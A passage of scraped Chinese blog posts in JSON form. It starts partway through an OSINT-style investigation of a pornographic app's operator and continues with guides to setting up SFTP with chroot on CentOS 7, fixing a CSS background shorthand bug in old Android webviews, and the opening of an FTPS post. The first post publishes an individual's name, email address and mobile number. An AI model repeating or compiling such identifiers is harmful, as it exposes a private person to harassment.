src=\"https://www.92ez.com/attachments/date_201709/e14590831df74394320f65771cf188ff.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t10-58-04.654z.png - \u5927\u5c0f: 19.71 KB - \u5c3a\u5bf8: 742 x 465 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"742\" height=\"465\"></a></div>\u8fd9\u91cc\u5e94\u8bc1\u4e86\u4e0a\u9762\u8def\u5f84\u7684hujing\u5f88\u6709\u53ef\u80fd\u5c31\u662f\u8fd9\u4e2a\u201c<span>\u9b4f\u7ade</span>\u201d\uff0c\u6ce8\u518c\u90ae\u7bb1\u662f <span>wjfallin@163.com\uff0c\u6839\u636e\u90ae\u7bb1\u53cd\u67e5\u53d1\u73b0\u6ce8\u518c\u4e86\u4e09\u4e2a\u57df\u540d<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=550\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/47b95b8ff283447eec5a6c6673c1f54b.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t11-00-11.343z.png - \u5927\u5c0f: 24.76 KB - \u5c3a\u5bf8: 1213 x 384 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"285\"></a></div>\u5206\u522b\u662f 527kan.com \u3001adwva.cn\u3001yuanlaiyueai.com\uff0c\u6765\u770b\u8fd9\u4e09\u4e2a\u57df\u540d\u90fd\u6709\u54ea\u4e9b\u4fe1\u606f\u3002</span></span> \r\n</p>\r\n<p>\r\n\t<span><span></span> <span><span>527kan.com</span></span> \u663e\u793a\u5907\u6848\u4fe1\u606f\u5df2\u7ecf\u53d6\u6d88\uff0c\u4f46\u662f\u66b4\u9732\u4e86\u624b\u673a\u53f7\u7801\u662f 13890246114 <div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=551\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/16e446295aacbdb8cc558c5cbef6c7fe.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t11-04-49.276z.png - \u5927\u5c0f: 21.61 KB - \u5c3a\u5bf8: 735 x 506 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"735\" height=\"506\"></a></div>\u67e5\u8be2\u624b\u673a\u5f52\u5c5e\u5730\u662f\u56db\u5ddd\u5fb7\u9633<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=552\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/9e622cc69a42125402889b7915464365.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t11-06-00.692z.png - \u5927\u5c0f: 11.32 KB - \u5c3a\u5bf8: 589 x 224 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"589\" height=\"224\"></a></div>\uff0c\u8fd9\u4e5f\u5e94\u8bc1\u4e86\u4e0a\u9762\u7684bazhong\u62fc\u97f3\u5e94\u8be5\u662f\u201c\u5df4\u4e2d\u201d\u3002\u767e\u5ea6\u6536\u5f55\u8bb0\u5f55\u6765\u770b\u4e4b\u524d\u4e5f\u662f\u7528\u6765\u505a\u60c5\u8272app<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=554\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/c32dac7ae3e168cc357749acff5b185c.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t11-13-02.329z.png - \u5927\u5c0f: 41.45 KB - \u5c3a\u5bf8: 779 x 619 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"779\" height=\"619\"></a></div></span> \r\n</p>\r\n<p>\r\n\t<span>adwva.cn \u663e\u793a\u5907\u6848\u4fe1\u606f\u4e3a\u201c\u6210\u90fd\u51e1\u4e4b\u604b\u5546\u8d38\u6709\u9650\u516c\u53f8\u201d\uff0c\u5907\u6848\u5ba1\u6838\u65f6\u95f4\u4e3a 2017-08-14 \u5e94\u8be5\u662f\u6700\u8fd1\u624d\u5907\u6848\uff0c\u540c\u65f6\u53d1\u73b0\u8be5\u4f01\u4e1a\u4e0b\u9762\u5907\u6848\u4e86\u975e\u5e38\u591a\u76f8\u4f3c\u7684\u57df\u540d\uff0c\u63a8\u6d4b\u8be5\u4f01\u4e1a\u7528\u8fd9\u4e9b\u57df\u540d\u63a8\u5e7f\uff0c\u7528\u4e8e\u88ab\u5c01\u4e4b\u540e\u7684\u66ff\u6362<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=553\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201709/7b9cb23cdebc0fa8af36281ca2d293af.png\" alt=\"\u706b\u72d0\u622a\u56fe_2017-09-03t11-08-33.658z.png - \u5927\u5c0f: 23.35 KB - \u5c3a\u5bf8: 1205 x 587 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"439\"></a></div><br>\r\n</span> \r\n</p>\r\n<p>\r\n\t<span><span><span>yuanlaiyueai.com</span></span> \u663e\u793a\u672a\u5907\u6848\u3002</span> \r\n</p>\r\n<p>\r\n\t<span>\u8bbf\u95ee <span><span>yuanlaiyueai.com</span></span> \u663e\u793a\u7684\u662f\u60c5\u8272app\u7684\u5ba3\u4f20\u9875\u9762\uff0c\u4e09\u4e2a\u57df\u540d\u89e3\u6790\u7684IP\u90fd\u662f\u963f\u91cc\u4e91\u670d\u52a1\u5668\u3002</span> \r\n</p>\r\n<p>\r\n\t<span>mfc.527kan.com (120.26.67.206)<br>\r\n</span> \r\n</p>\r\n<p>\r\n\t<span>im.adwva.cn (121.40.53.51)</span> \r\n</p>\r\n<p>\r\n\t<span><span><span><span>yuanlaiyueai.com</span></span></span> (121.40.210.204)</span> \r\n</p>\r\n<p>\r\n\t<span>\u6536\u96c6\u5230\u8fd9\u91cc\u6211\u89c9\u5f97\u6ca1\u4ec0\u4e48\u610f\u601d\u4e86\uff0c\u6bd5\u7adf\u6211\u4e0d\u559c\u6b22\u90a3\u79cd\u52a8\u4e0d\u52a8\u5c31\u201cgetshell\u201d\u7684\u64cd\u4f5c\u3002</span> \r\n</p>\r\n<h2>\r\n\t<span>\u603b\u7ed3</span> \r\n</h2>\r\n<p>\r\n\t<span>\u5355\u7eaf\u7684\u5206\u4eab\uff0c\u6ca1\u6709\u6df1\u5165\u63a2\u7d22<br>\r\n</span> \r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23453 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u963f\u91cc\u4e91CentOS 7\u914d\u7f6esftp\u5e76\u7981\u6b62\u767b\u5f55ssh"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-08-29, 12:17 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u8d44\u6e90\u5171\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u5199\u8fc7\u4e00\u7bc7\u5173\u4e8ecentos 7 \u914d\u7f6e ftps \u7684\u6587\u7ae0\uff0c\u5730\u5740\u5728 <a href=\"https://www.92ez.com/?action=show&id=23450\" target=\"_blank\">https://www.92ez.com/?action=show&id=23450</a> \uff0c\u94f6\u884c\u5927\u5927\u7684\u9700\u6c42\u8bf4\u6539\u5c31\u6539\uff0cftps\u914d\u7f6e\u5b8c\u6d4b\u8bd5\u5b8c\u6210\u5c31\u8be5\u9700\u6c42\u4e86\uff0c\u8981\u6c42\u6211\u65b9\u914d\u7f6esftp\u7ed9\u4ed6\u4eec\uff0c\u6211\u751a\u81f3\u90fd\u6000\u7591\u662f\u5f53\u65f6\u4ed6\u4eec\u6253\u5b57\u6253\u9519\u4e86\uff0csftp\u6253\u6210\u4e86ftps\uff0c\u5f53\u65f6\u6211\u8fd8\u518d\u4e09\u786e\u8ba4\u662f\u4e0d\u662f\u5199\u9519\u4e86\uff0c\u5bf9\u65b9\u56de\u7b54\u6ca1\u95ee\u9898\u5c31\u662fftps\uff0c\u73b0\u5728\u53c8\u6539\u6210sftp....\u7b97\u4e86\uff0c\u4e0d\u7ea0\u7ed3\u8fd9\u4e2a\u95ee\u9898\uff0c\u6bd5\u7adf\u94f6\u884c\u624d\u662f\u5927\u4f6c\uff0c\u4ed6\u4eec\u8bf4\u5565\u5c31\u662f\u5565\u3002\u4eca\u5929\u5c31\u914d\u7f6e\u4e00\u4e0bsftp\u3002\r\n</p>\r\n<h2>\r\n\t\u9700\u6c42\r\n</h2>\r\n<p>\r\n\t\u5bf9\u65b9\u7684\u9700\u6c42\u662f\u9700\u8981\u4e00\u4e2asftp\u670d\u52a1\u5668\u7528\u4e8e\u4e0b\u8f7d\u6211\u65b9\u4e0a\u4f20\u7684\u62a5\u8868\u6587\u4ef6\uff0c\u5176\u4ed6\u7684\u6ca1\u6709\u4ec0\u4e48\u8981\u6c42\u3002\u5bf9\u4e8e\u6211\u65b9\u6765\u8bf4\u8fd9\u4e2a\u9700\u6c42\u4e5f\u662f\u5f88\u7b80\u5355\uff0c\u914d\u7f6e\u4e00\u4e2asftp\u7684\u8d26\u53f7\u9650\u5236\u4e00\u4e0b\u76ee\u5f55\u5e76\u4e14\u7981\u6b62\u767b\u5f55ssh\u5373\u53ef\u3002\r\n</p>\r\n<h2>\r\n\t\u914d\u7f6e\r\n</h2>\r\n<p>\r\n\t\u5728Linux\u4e0b\u9762\u9700\u8981\u5bf9\u76ee\u5f55\u8fdb\u884c\u9650\u5236\uff0c\u9632\u6b62\u7528\u6237\u8df3\u51fa\u76ee\u5f55\u8d8a\u6743\u5230\u5176\u4ed6\u4e0d\u5e94\u8be5\u8fdb\u5165\u7684\u8def\u5f84\u5c31\u9700\u8981\u4f7f\u7528chroot\uff0c\u5e76\u4e0d\u662f\u6240\u6709\u7684\u7cfb\u7edf\u90fd\u652f\u6301chroot\uff0c openssh 4.8p1\u4ee5\u540e\u7684\u7248\u672c\u624d\u4f1a\u6709chroot\u529f\u80fd\uff0c\u663e\u7136CentOS 7 \u7684openssh\u7248\u672c\u80af\u5b9a\u662f\u6ee1\u8db3\u6761\u4ef6\u7684\u3002\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u67e5\u770bopenssh\u7684\u7248\u672c\r\n</p>\r\n<pre class=\"brush:bash;\">$ ssh -V\r\nOpenSSH_6.6.1p1, OpenSSL 1.0.1e-fips 11 Feb 2013</pre>\r\n\u786e\u5b9aopenssh\u7248\u672c\u6ee1\u8db3\u6761\u4ef6\u540e\u7ee7\u7eed\u914d\u7f6e\u3002\r\n<p>\r\n\t\u5efa\u7acbsftp\u7528\u6237\u7684\u76ee\u5f55\r\n</p>\r\n<pre class=\"brush:bash;\">sudo mkdir banksftp</pre>\r\n\u521b\u5efa\u7ec4\u548c\u7528\u6237\r\n<pre class=\"brush:bash;\">sudo groupadd sftp && sudo sudo useradd -g sftp -s /bin/false banksftpuser</pre>\r\n\u4fee\u6539sftp\u8d26\u53f7\u7684\u5bc6\u7801\r\n<pre class=\"brush:bash;\">sudo passwd banksftpuser</pre>\r\n\u8f93\u5165\u5bc6\u7801\u540e\u6307\u5b9asftp\u7528\u6237banksftpuser\u7684home\u76ee\u5f55\r\n<pre class=\"brush:bash;\">sudo usermod -d /data/sftp/banksftp banksftpuser</pre>\r\n\u4fee\u6539ssh\u7684\u914d\u7f6e\u6587\u4ef6\r\n<p>\r\n\t\u627e\u5230\u5982\u4e0b\u8fd9\u884c\uff0c\u5e76\u6ce8\u91ca\u6389\r\n</p>\r\n<pre class=\"brush:bash;\">Subsystem sftp /usr/libexec/openssh/sftp-server\u00a0 \r\n</pre>\r\n\u6dfb\u52a0\u5982\u4e0b\u51e0\u884c<br>\r\n<pre class=\"brush:bash;\">Subsystem sftp internal-sftp \r\nMatch User banksftpuser #\u5339\u914d\u7528\u6237 \r\nChrootDirectory /data/sftp/banksftp # \u9650\u5236\u7528\u6237\u76ee\u5f55 \r\nForceCommand internal-sftp \r\nAllowTcpForwarding no \r\nX11Forwarding no \r\n</pre>\r\n<p>\r\n\t\u8bbe\u7f6e\u76ee\u5f55\u6743\u9650\r\n</p>\r\n<pre class=\"brush:bash;\">sudo chown root:sftp /data/sftp/banksftp && sudo chmod 755 /data/sftp/banksftp</pre>\r\n<p>\r\n\t\u91cd\u542fssh\u670d\u52a1\u540e\u6d4b\u8bd5\u662f\u5426\u80fd\u591f\u6b63\u5e38\u767b\u5f55\u3002\r\n</p>\r\n<p>\r\n\t\u7136\u800c\uff0c\u62a5\u9519\u4e86...\r\n</p>\r\n<pre class=\"brush:bash;\">Connection to 119.*.*.* closed by remote host.\r\nCouldn't read packet: Connection reset by peer</pre>\r\n\u67e5\u770bssh\u767b\u5f55\u65e5\u5fd7\u53d1\u73b0\u5982\u4e0b\r\n<pre class=\"brush:bash;\">Aug 29 12:06:16 myvps systemd-logind: New session 6 of user banksftpuser.\r\nAug 29 12:06:16 myvps systemd: Started Session 6 of user banksftpuser.\r\nAug 29 12:06:16 myvps systemd: Starting Session 6 of user banksftpuser.\r\nAug 29 12:06:16 myvps systemd-logind: Removed session 6.\r\nAug 29 12:06:16 myvps systemd: Removed slice user-1004.slice.\r\nAug 29 12:06:16 myvps systemd: Stopping user-1004.slice.</pre>\r\n\u770b\u8d77\u6765\u4f3c\u4e4e\u6ca1\u6709\u95ee\u9898\uff0c\u7ecf\u8fc7\u5404\u79cd\u8c37\u6b4c\u7ec8\u4e8e\u89e3\u51b3\uff0c\u5176\u5b9e\u95ee\u9898\u5c31\u662f\u51fa\u5728\u76ee\u5f55\u7684\u5f52\u5c5e\u4e0a\uff0cchroot\u9650\u5236\u7684\u76ee\u5f55\u7684\u6240\u6709\u4e0a\u7ea7\u90fd\u5fc5\u987b\u5f52\u5c5eroot:root\uff0c\u800c\u6211\u5f53\u524d\u7684\u76ee\u5f55\u7684\u4e0a\u7ea7\u662fuser:user\u6240\u4ee5\u6b7b\u6d3b\u4e0d\u884c\uff0c\u4fee\u6539\u6210root:root\u540e\u6210\u529f\u767b\u5f55\u3002\r\n<pre class=\"brush:bash;\">banksftpuser@119.*.*.*'s password: \r\nConnected to 119.*.*.*.\r\nsftp> </pre>\r\n<p>\r\n\t\u6d4b\u8bd5\u4f7f\u7528ssh \u767b\u5f55\u770b\u662f\u5426\u7981\u6b62\u767b\u5f55\r\n</p><pre class=\"brush:bash;\">~$ ssh banksftpuser@119.*.*.*\r\nbanksftpuser@119.*.*.*'s password: \r\nCould not chdir to home directory /data/sftp/banksftp: No such file or directory\r\nThis service allows sftp connections only.\r\nConnection to 119.*.*.* closed.</pre>\r\n\r\n<h2>\r\n\t\u53c2\u8003\r\n</h2>\r\n<p>\r\n\thttps://my.oschina.net/davehe/blog/100280\r\n</p>\r\n<p>\r\n\thttp://blog.csdn.net/qq_22929803/article/details/51202082\r\n</p>\r\n<p>\r\n\thttp://www.jb51.net/article/42929.htm\r\n</p>\r\n<p>\r\n\thttp://www.cnblogs.com/bky185392793/p/7365809.html\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23452 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u89e3\u51b3\u4f4e\u7248\u672c\u5b89\u5353\u7cfb\u7edf\u4e2dwebview\u5bf9css\u7684background\u5199\u6cd5\u4e0d\u517c\u5bb9\u95ee\u9898"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-08-22, 4:34 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u524d\u7aef\u6280\u672f", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u5bf9\u63a5\u7b2c\u4e09\u65b9app\u7684\u65f6\u5019\u53d1\u73b0\u5185\u5d4c\u7f51\u9875\u91cc\u9762\u7684\u80cc\u666f\u56fe\u6b7b\u6d3b\u51fa\u4e0d\u6765\uff0c\u4f46\u662f\u5728\u540c\u4e00\u4e2a\u624b\u673a\u4e0a\u7684\u5fae\u4fe1\u81ea\u5e26\u6d4f\u89c8\u5668\u786e\u662f\u6b63\u5e38\u7684\uff0c\u901a\u8fc7\u5404\u79cd\u5c1d\u8bd5\u7ec8\u4e8e\u53d1\u73b0\u95ee\u9898\uff0c\u8bb0\u5f55\u4e00\u4e0b\u3002\r\n</p>\r\n<p>\r\n\t\u5bf9\u65b9\u4f7f\u7528\u7684\u65b9\u5f0f\u662fapp\u91cc\u9762\u5185\u5d4c\u4e00\u4e2awebview\u52a0\u8f7d\u6211\u65b9\u7684\u624b\u673a\u7aef\u9875\u9762\uff0c\u8fd9\u4e2a\u9875\u9762\u5728\u5927\u90e8\u5206\u6d41\u884c\u7684\u5b89\u5353\u673a\u5668\u4e0a\u90fd\u4f7f\u7528\u6b63\u5e38\uff0c\u6ca1\u6709\u51fa\u73b0\u8fc7\u5927\u7684\u6837\u5f0f\u504f\u5dee\uff0c\u4f46\u662f\u4e00\u653e\u8fdbapp\u91cc\u9762\u6837\u5f0f\u5c31\u51fa\u73b0\u4e86\u95ee\u9898\u3002\u5177\u4f53\u8868\u73b0\u662f\u4e00\u4e2adiv\u5bb9\u5668\u7684\u80cc\u666f\u56fe\u51fa\u73b0\u4e0d\u4e86\uff0c\u80cc\u666f\u989c\u8272\u4e5f\u6ca1\u6709\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u628a\u539f\u6765\u7684\u4ee3\u7801\u8d34\u51fa\u6765\r\n</p>\r\n<pre class=\"brush:css;\">background: #e3e3e3 url(\"../img/loading.gif\") no-repeat center center / 70px auto; \r\ndisplay: block;\r\nposition: fixed;\r\ntop: 0;\r\nleft: 0;\r\nz-index: 50001;\r\nwidth: 100%;\r\nheight: 100%;</pre>\r\n<p>\r\n\t\u901a\u8fc7\u6392\u9664\u6cd5\u9996\u5148\u53bb\u6389\u8fd9\u4e2adiv\u5bb9\u5668position\u7684fixed\uff0c\u56e0\u4e3afixed\u51fa\u73b0\u8fc7\u5f88\u591a\u4e0d\u517c\u5bb9\u95ee\u9898\uff0c\u6211\u9996\u5148\u60f3\u5230\u7684\u5c31\u662f\u8fd9\u4e2a\u95ee\u9898\uff0c\u76f4\u63a5\u5220\u6389position\u8fd9\u4e2a\u6837\u5f0f\uff0c\u6d4b\u8bd5\u53d1\u73b0\u95ee\u9898\u4f9d\u65e7\u3002\r\n</p>\r\n<p>\r\n\t\u6211\u5f00\u59cb\u6000\u7591\u662f\u7f51\u7edc\u52a0\u8f7d\u6162\u5bfc\u81f4\u7684\u80cc\u666f\u56fe\u52a0\u8f7d\u4e0d\u51fa\u6765\u3002\u76f4\u63a5\u53bb\u6389\u80cc\u666f\u56fe\uff0c\u80cc\u666f\u989c\u8272\u5c45\u7136\u795e\u5947\u7684\u51fa\u73b0\u4e86\uff0c\u4ee3\u7801\u53d8\u6210\u4e86\u8fd9\u6837\r\n</p>\r\n<pre class=\"brush:css;\">background: #e3e3e3; \r\ndisplay: block;\r\nposition: fixed;\r\ntop: 0;\r\neft: 0;\r\nz-index: 50001;\r\nwidth: 100%;\r\nheight: 100%;</pre>\r\n\u771f\u662f\u8be1\u5f02\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\u4e0d\u5e94\u8be5\uff0c\u96be\u9053\u662f\u56e0\u4e3a\u7f29\u5199\u5bfc\u81f4\u7684\uff1f\r\n<p>\r\n\t\u6000\u7740\u65e0\u6bd4\u6000\u7591\u7684\u5fc3\u6001\u628a\u4e0a\u9762\u90a3\u6bb5\u7b80\u5199\u5168\u90e8\u62c6\u5199\u6210\u5b8c\u6574\u7248\uff0c\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:css;\">background-color: #e3e3e3;\r\nbackground-image: url('../img/loading.gif');\r\nbackground-repeat: no-repeat;\r\nbackground-position: center center;\r\nbackground-size: 70px auto;\r\ndisplay: block;\r\nposition: absolute;\r\ntop: 0;left: 0;\r\nz-index: 50001;\r\nwidth: 100%;\r\nheight: 100%;</pre>\r\n\u6d4b\u8bd5\u53d1\u73b0\u95ee\u9898\u5c45\u7136\u795e\u5947\u7684\u89e3\u51b3\u4e86\u3002\r\n<h2>\r\n\t\u603b\u7ed3\r\n</h2>\r\n<p>\r\n\t\u63a8\u6d4b\u662f\u4f4e\u7248\u672c\u5b89\u5353\u7cfb\u7edf\u91cc\u9762\u8c03\u7528\u7cfb\u7edf\u81ea\u5e26\u6d4f\u89c8\u5668\u4f5c\u4e3awebview\u7684\u65f6\u5019\u5bf9css\u7684\u4e00\u4e9b\u7b80\u5199\u5199\u6cd5\u4e0d\u652f\u6301\uff0c\u5bfc\u81f4\u65e0\u6cd5\u6b63\u5e38\u6e32\u67d3\uff0c\u65b0\u7248\u672c\u5b89\u5353\u7cfb\u7edf\u5df2\u7ecf\u4fee\u590d\u8fd9\u4e2a\u95ee\u9898\uff0c\u4e4b\u6240\u4ee5\u5fae\u4fe1\u4e2d\u6ca1\u6709\u51fa\u73b0bug\u5927\u6982\u662f\u56e0\u4e3a\u5fae\u4fe1\u5185\u7f6e\u7684\u662f\u81ea\u5bb6\u7684QQ\u6d4f\u89c8\u5668\u5185\u6838\uff0c\u4f18\u5316\u8fc7\u8fd9\u4e2a\u95ee\u9898\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23451 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u963f\u91cc\u4e91CentOS 7 \u914d\u7f6eftps\u5e38\u89c4\u6d41\u7a0b"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-08-08, 4:35 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u6700\u8fd1\u516c\u53f8\u9879\u76ee\u9700\u8981\u5bf9\u63a5\u7b2c\u4e09\u65b9\u652f\u4ed8\u63a5\u53e3\u8fdb\u884c\u5bf9\u8d26\u64cd\u4f5c\uff0c\u5bf9\u65b9\u9700\u8981\u6211\u4eec\u63d0\u4f9b\u4ea4\u6613\u6d41\u6c34\u62a5\u8868\uff0c\u8d77\u521d\u6253\u7b97\u76f4\u63a5\u5411\u5bf9\u65b9\u63a5\u53e3POST\u6570\u636e\uff0c\u4f46\u662f\u9879\u76ee\u8fdb\u5ea6\u6bd4\u8f83\u8d76\uff0c\u53cc\u65b9\u5728\u63a5\u53e3\u89c4\u8303\u8fd9\u5757\u7684\u534f\u5546\u5e76\u6ca1\u6709\u90a3\u4e48\u5feb\uff0c\u5bf9\u65b9\u63d0\u51fa\u7b80\u4fbf\u7684\u6d41\u7a0b\uff0c\u6211\u65b9\u63d0\u4f9b\u4e00\u4e2aftp\u7ed9\u4ed6\u4eec\uff0c\u6211\u65b9\u540e\u7aef\u5b9a\u65f6\u751f\u6210\u8d26\u5355\u6587\u4ef6\u5e76\u5b58\u653e\u5728ftp\u670d\u52a1\u5668\u7684\u5236\u5b9a\u76ee\u5f55\uff0c\u5bf9\u65b9\u4e3b\u52a8\u53bbftp\u670d\u52a1\u5668\u4e0a\u53d6\u56de\u62a5\u8868\u6587\u4ef6\u8fdb\u884c\u5bf9\u8d26\uff0c\u8fd9\u79cd\u65b9\u5f0f\u5bf9\u4e8e\u6211\u4eec\u6765\u8bf4\u8fd8\u662f\u975e\u5e38\u65b9\u4fbf\u7684\uff0c\u5bf9\u65b9\u53d1\u6765\u9700\u6c42\u6587\u6863\u9700\u8981\u6211\u4eec\u4f7f\u7528ftps\u800c\u4e0d\u80fd\u4f7f\u7528ftp\uff0c\u8fd9\u91cc\u8bb0\u5f55\u4e0bftps\u670d\u52a1\u5668\u642d\u5efa\u7684\u8fc7\u7a0b\u3002\r\n</p>\r\n<h2>\r\n\t\u56de\u987e\r\n</h2>\r\n<p>\r\n\t\u642d\u5efa\u4e4b\u524d\u6709\u5fc5\u8981\u5148\u4e86\u89e3\u4e00\u4e0bftp\u3001ftps\u3001sftp\u4e09\u79cd\u534f\u8bae\uff0c\u8fd9\u5bf9\u6211\u4eec\u4eca\u540e\u7ef4\u62a4\u6216\u8005\u642d\u5efa\u670d\u52a1\u5668\u73af\u5883\u90fd\u662f\u975e\u5e38\u6709\u5e2e\u52a9\u7684\u3002\r\n</p>\r\n<p>\r\n\tftp \u5927\u5bb6\u5e94\u8be5\u90fd\u77e5\u9053\uff0c\u65e9\u671f\u65f6\u5019\u5728\u670d\u52a1\u5668\u4e0a\u5171\u4eab\u6587\u4ef6\uff0c\u642d\u5efa\u4e00\u4e2aftp\u670d\u52a1\u5668\u662f\u975e\u5e38\u5b9e\u7528\u7684\uff0cftp\u670d\u52a1\u5668\u9ed8\u8ba4\u5de5\u4f5c\u572821\u7aef\u53e3\uff0c\u7aef\u53e3\u53ef\u4ee5\u81ea\u884c\u4fee\u6539\uff0cftp\u7684\u901f\u5ea6\u5f88\u5feb\uff0c\u6240\u4ee5\u5728\u5f88\u957f\u4e00\u6bb5\u65f6\u95f4\u5185\uff0c\u5927\u5bb6\u90fd\u4e60\u60ef\u4f7f\u7528ftp\u670d\u52a1\u5668\u6765\u5171\u4eab\u7f51\u7edc\u6587\u4ef6\u3002\r\n</p>\r\n<p>\r\n\tftp\u6709\u4e00\u4e2a\u81f4\u547d\u7684\u7f3a\u70b9\uff0c\u5c31\u662f\u4f20\u8f93\u90fd\u662f\u660e\u6587\u7684\uff0c\u6